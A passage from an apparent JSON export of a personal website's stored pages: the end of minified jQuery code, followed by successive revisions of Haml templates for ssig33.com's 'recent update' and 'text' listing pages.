d,e=c.head||c.getElementsByTagName(\"head\")[0]||c.documentElement;return{send:function(f,g){d=c.createElement(\"script\"),d.async=\"async\",a.scriptCharset\u0026\u0026(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e\u0026\u0026d.parentNode\u0026\u0026e.removeChild(d),d=b,c||g(200,\"success\")},e.insertBefore(d,e.firstChild)},abort:function(){d\u0026\u0026d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal\u0026\u0026ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a\u0026\u0026\"withCredentials\"in a})}(f.ajaxSettings.xhr()),f.support.ajax\u0026\u0026f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType\u0026\u0026h.overrideMimeType\u0026\u0026h.overrideMimeType(c.mimeType),!c.crossDomain\u0026\u0026!e[\"X-Requested-With\"]\u0026\u0026(e[\"X-Requested-With\"]=\"XMLHttpRequest\");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent\u0026\u0026c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d\u0026\u0026(e||h.readyState===4)){d=b,i\u0026\u0026(h.onreadystatechange=f.noop,ce\u0026\u0026delete cg[i]);if(e)h.readyState!==4\u0026\u0026h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n\u0026\u0026n.documentElement\u0026\u0026(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=\"\"}!j\u0026\u0026c.isLocal\u0026\u0026!c.crossDomain?j=m.text?200:404:j===1223\u0026\u0026(j=204)}}}catch(p){e||g(-1,p)}m\u0026\u0026g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce\u0026\u0026(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d\u0026\u0026d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\\-]=)?([\\d+.\\-]+)([a-z%]*)$/i,co,cp=[[\"height\",\"marginTop\",\"marginBottom\",\"paddingTop\",\"paddingBottom\"],[\"width\",\"marginLeft\",\"marginRight\",\"paddingLeft\",\"paddingRight\"],[\"opacity\"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct(\"show\",3),a,b,c);for(var g=0,h=this.length;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=d.style.display,!f._data(d,\"olddisplay\")\u0026\u0026e===\"none\"\u0026\u0026(e=d.style.display=\"\"),(e===\"\"\u0026\u0026f.css(d,\"display\")===\"none\"||!f.contains(d.ownerDocument.documentElement,d))\u0026\u0026f._data(d,\"olddisplay\",cu(d.nodeName)));for(g=0;g\u003ch;g++){d=this[g];if(d.style){e=d.style.display;if(e===\"\"||e===\"none\")d.style.display=f._data(d,\"olddisplay\")||\"\"}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(ct(\"hide\",3),a,b,c);var d,e,g=0,h=this.length;for(;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=f.css(d,\"display\"),e!==\"none\"\u0026\u0026!f._data(d,\"olddisplay\")\u0026\u0026f._data(d,\"olddisplay\",e));for(g=0;g\u003ch;g++)this[g].style\u0026\u0026(this[g].style.display=\"none\");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a==\"boolean\";f.isFunction(a)\u0026\u0026f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(\":hidden\");f(this)[b?\"show\":\"hide\"]()}):this.animate(ct(\"toggle\",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(\":hidden\").css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1\u0026\u0026f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c\u0026\u0026f(this).is(\":hidden\"),g,h,i,j,k,l,m,n,o,p,q;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g\u0026\u0026(a[g]=a[i],delete a[i]);if((k=f.cssHooks[g])\u0026\u0026\"expand\"in k){l=k.expand(a[g]),delete a[g];for(i in l)i in a||(a[i]=l[i])}}for(g in a){h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing\u0026\u0026b.specialEasing[g]||b.easing||\"swing\";if(h===\"hide\"\u0026\u0026d||h===\"show\"\u0026\u0026!d)return b.complete.call(this);c\u0026\u0026(g===\"height\"||g===\"width\")\u0026\u0026(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,\"display\")===\"inline\"\u0026\u0026f.css(this,\"float\")===\"none\"\u0026\u0026(!f.support.inlineBlockNeedsLayout||cu(this.nodeName)===\"inline\"?this.style.display=\"inline-block\":this.style.zoom=1))}b.overflow!=null\u0026\u0026(this.style.overflow=\"hidden\");for(i in a)j=new f.fx(this,b,i),h=a[i],cm.test(h)?(q=f._data(this,\"toggle\"+i)||(h===\"toggle\"?d?\"show\":\"hide\":0),q?(f._data(this,\"toggle\"+i,q===\"show\"?\"hide\":\"show\"),j[q]()):j[h]()):(m=cn.exec(h),n=j.cur(),m?(o=parseFloat(m[2]),p=m[3]||(f.cssNumber[i]?\"\":\"px\"),p!==\"px\"\u0026\u0026(f.style(this,i,(o||1)+p),n=(o||1)/j.cur()*n,f.style(this,i,n+p)),m[1]\u0026\u0026(o=(m[1]===\"-=\"?-1:1)*o+n),j.custom(n,o,p)):j.custom(n,h,\"\"));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!=\"string\"\u0026\u0026(d=c,c=a,a=b),c\u0026\u0026a!==!1\u0026\u0026this.queue(a||\"fx\",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]\u0026\u0026g[b].stop\u0026\u0026b.indexOf(\".run\")===b.length-4\u0026\u0026h(this,g,b);else g[b=a+\".run\"]\u0026\u0026g[b].stop\u0026\u0026h(this,g,b);for(b=e.length;b--;)e[b].elem===this\u0026\u0026(a==null||e[b].queue===a)\u0026\u0026(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)\u0026\u0026f.dequeue(this,a)})}}),f.each({slideDown:ct(\"show\",1),slideUp:ct(\"hide\",1),slideToggle:ct(\"toggle\",1),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a\u0026\u0026typeof a==\"object\"?f.extend({},a):{complete:c||!c\u0026\u0026b||f.isFunction(a)\u0026\u0026a,duration:a,easing:c\u0026\u0026b||b\u0026\u0026!f.isFunction(b)\u0026\u0026b};d.duration=f.fx.off?0:typeof d.duration==\"number\"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue=\"fx\";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)\u0026\u0026d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1\u0026\u0026f._unmark(this)};return d},easing:{linear:function(a){return a},swing:function(a){return-Math.cos(a*Math.PI)/2+.5}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null\u0026\u0026(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b===\"auto\"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cq||cr(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?\"\":\"px\"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){f._data(e.elem,\"fxshow\"+e.prop)===b\u0026\u0026(e.options.hide?f._data(e.elem,\"fxshow\"+e.prop,e.start):e.options.show\u0026\u0026f._data(e.elem,\"fxshow\"+e.prop,e.end))},h()\u0026\u0026f.timers.push(h)\u0026\u0026!co\u0026\u0026(co=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,\"fxshow\"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop===\"width\"||this.prop===\"height\"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,\"fxshow\"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cq||cr(),g=!0,h=this.elem,i=this.options;if(a||e\u003e=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0\u0026\u0026(g=!1);if(g){i.overflow!=null\u0026\u0026!f.support.shrinkWrapBlocks\u0026\u0026f.each([\"\",\"X\",\"Y\"],function(a,b){h.style[\"overflow\"+b]=i.overflow[a]}),i.hide\u0026\u0026f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,\"fxshow\"+b,!0),f.removeData(h,\"toggle\"+b,!0);d=i.complete,d\u0026\u0026(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c\u003cb.length;c++)a=b[c],!a()\u0026\u0026b[c]===a\u0026\u0026b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(co),co=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,\"opacity\",a.now)},_default:function(a){a.elem.style\u0026\u0026a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(cp.concat.apply([],cp),function(a,b){b.indexOf(\"margin\")\u0026\u0026(f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)})}),f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cv,cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;\"getBoundingClientRect\"in c.documentElement?cv=function(a,b,c,d){try{d=a.getBoundingClientRect()}catch(e){}if(!d||!f.contains(c,a))return d?{top:d.top,left:d.left}:{top:0,left:0};var g=b.body,h=cy(b),i=c.clientTop||g.clientTop||0,j=c.clientLeft||g.clientLeft||0,k=h.pageYOffset||f.support.boxModel\u0026\u0026c.scrollTop||g.scrollTop,l=h.pageXOffset||f.support.boxModel\u0026\u0026c.scrollLeft||g.scrollLeft,m=d.top+k-i,n=d.left+l-j;return{top:m,left:n}}:cv=function(a,b,c){var d,e=a.offsetParent,g=a,h=b.body,i=b.defaultView,j=i?i.getComputedStyle(a,null):a.currentStyle,k=a.offsetTop,l=a.offsetLeft;while((a=a.parentNode)\u0026\u0026a!==h\u0026\u0026a!==c){if(f.support.fixedPosition\u0026\u0026j.position===\"fixed\")break;d=i?i.getComputedStyle(a,null):a.currentStyle,k-=a.scrollTop,l-=a.scrollLeft,a===e\u0026\u0026(k+=a.offsetTop,l+=a.offsetLeft,f.support.doesNotAddBorder\u0026\u0026(!f.support.doesAddBorderForTableAndCells||!cw.test(a.nodeName))\u0026\u0026(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),g=e,e=a.offsetParent),f.support.subtractsBorderForOverflowNotVisible\u0026\u0026d.overflow!==\"visible\"\u0026\u0026(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),j=d}if(j.position===\"relative\"||j.position===\"static\")k+=h.offsetTop,l+=h.offsetLeft;f.support.fixedPosition\u0026\u0026j.position===\"fixed\"\u0026\u0026(k+=Math.max(c.scrollTop,h.scrollTop),l+=Math.max(c.scrollLeft,h.scrollLeft));return{top:k,left:l}},f.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){f.offset.setOffset(this,a,b)});var c=this[0],d=c\u0026\u0026c.ownerDocument;if(!d)return null;if(c===d.body)return f.offset.bodyOffset(c);return cv(c,d,d.documentElement)},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset\u0026\u0026(b+=parseFloat(f.css(a,\"marginTop\"))||0,c+=parseFloat(f.css(a,\"marginLeft\"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,\"position\");d===\"static\"\u0026\u0026(a.style.position=\"relative\");var e=f(a),g=e.offset(),h=f.css(a,\"top\"),i=f.css(a,\"left\"),j=(d===\"absolute\"||d===\"fixed\")\u0026\u0026f.inArray(\"auto\",[h,i])\u003e-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)\u0026\u0026(b=b.call(a,c,g)),b.top!=null\u0026\u0026(k.top=b.top-g.top+m),b.left!=null\u0026\u0026(k.left=b.left-g.left+n),\"using\"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,\"marginTop\"))||0,c.left-=parseFloat(f.css(a,\"marginLeft\"))||0,d.top+=parseFloat(f.css(b[0],\"borderTopWidth\"))||0,d.left+=parseFloat(f.css(b[0],\"borderLeftWidth\"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a\u0026\u0026!cx.test(a.nodeName)\u0026\u0026f.css(a,\"position\")===\"static\")a=a.offsetParent;return a})}}),f.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel\u0026\u0026h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:\"height\",Width:\"width\"},function(a,c){var d=\"client\"+a,e=\"scroll\"+a,g=\"offset\"+a;f.fn[\"inner\"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,\"padding\")):this[c]():null},f.fn[\"outer\"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?\"margin\":\"border\")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel\u0026\u0026j||i.body\u0026\u0026i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]\u003e=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define==\"function\"\u0026\u0026define.amd\u0026\u0026define.amd.jQuery\u0026\u0026define(\"jquery\",[],function(){return f})})(window);","created_at":"2012-07-31T16:07:54.000Z","updated_at":"2012-07-31T16:07:54.000Z"},{"id":2114,"name":"recent","body":"haml recent update\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - recent update\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all\r\n %h2 ssig33.com - recent update\r\n %p\r\n %a{:href =\u003e \"/feed\"} feed\r\n -posts = []\r\n -Page.order(\"created_at desc\").limit(60).each do |p|\r\n -flag = true\r\n -posts.each do |t|\r\n - flag = false if t.name == p.name\r\n - posts \u003c\u003c p if flag\r\n %p \r\n -posts.each do |post|\r\n %a{href: \"/#{post.name}\"}=CGI.escapeHTML post.name\r\n %span.lightgray\r\n updated at:\r\n =post.updated_at.getutc\r\n %br\r\n %p\r\n %a{href: \"/\"} Go to Top Page","created_at":"2012-08-22T09:55:47.000Z","updated_at":"2012-08-22T09:55:47.000Z"},{"id":2115,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n%h1 ssig33.com - text\r\n%h2 developing","created_at":"2012-08-24T18:12:30.000Z","updated_at":"2012-08-24T18:12:30.000Z"},{"id":2116,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n %h2 developing","created_at":"2012-08-24T18:12:42.000Z","updated_at":"2012-08-24T18:12:42.000Z"},{"id":2117,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n -Page.select('distinct name').where('name like ?', 'text/%').each do |p|\r\n =p.name","created_at":"2012-08-24T18:14:48.000Z","updated_at":"2012-08-24T18:14:48.000Z"},{"id":2118,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n =params[:page]\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').each do |p|\r\n =p","created_at":"2012-08-24T18:16:26.000Z","updated_at":"2012-08-24T18:16:26.000Z"},{"id":2119,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n =params[:page]\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').first}.each do |p|\r\n =p","created_at":"2012-08-24T18:16:38.000Z","updated_at":"2012-08-24T18:16:38.000Z"},{"id":2120,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n =request.params['page']\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').first}.each do |p|\r\n =p","created_at":"2012-08-24T18:16:51.000Z","updated_at":"2012-08-24T18:16:51.000Z"},{"id":2121,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n =@request.params['page']\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').first}.each do |p|\r\n =p","created_at":"2012-08-24T18:16:58.000Z","updated_at":"2012-08-24T18:16:58.000Z"},{"id":2122,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n =@request.params['page']\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: x.name).order('id desc').last}.sort{|a,b| a.id \u003c=\u003e b.id}.reverse.each do |p|\r\n =p.name","created_at":"2012-08-24T18:19:17.000Z","updated_at":"2012-08-24T18:19:17.000Z"},{"id":2123,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - text\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 ssig33.com - text\r\n =@request\r\n -Page.select('distinct name').where('name like ?', 'text/%').map{|x| Page.where(name: 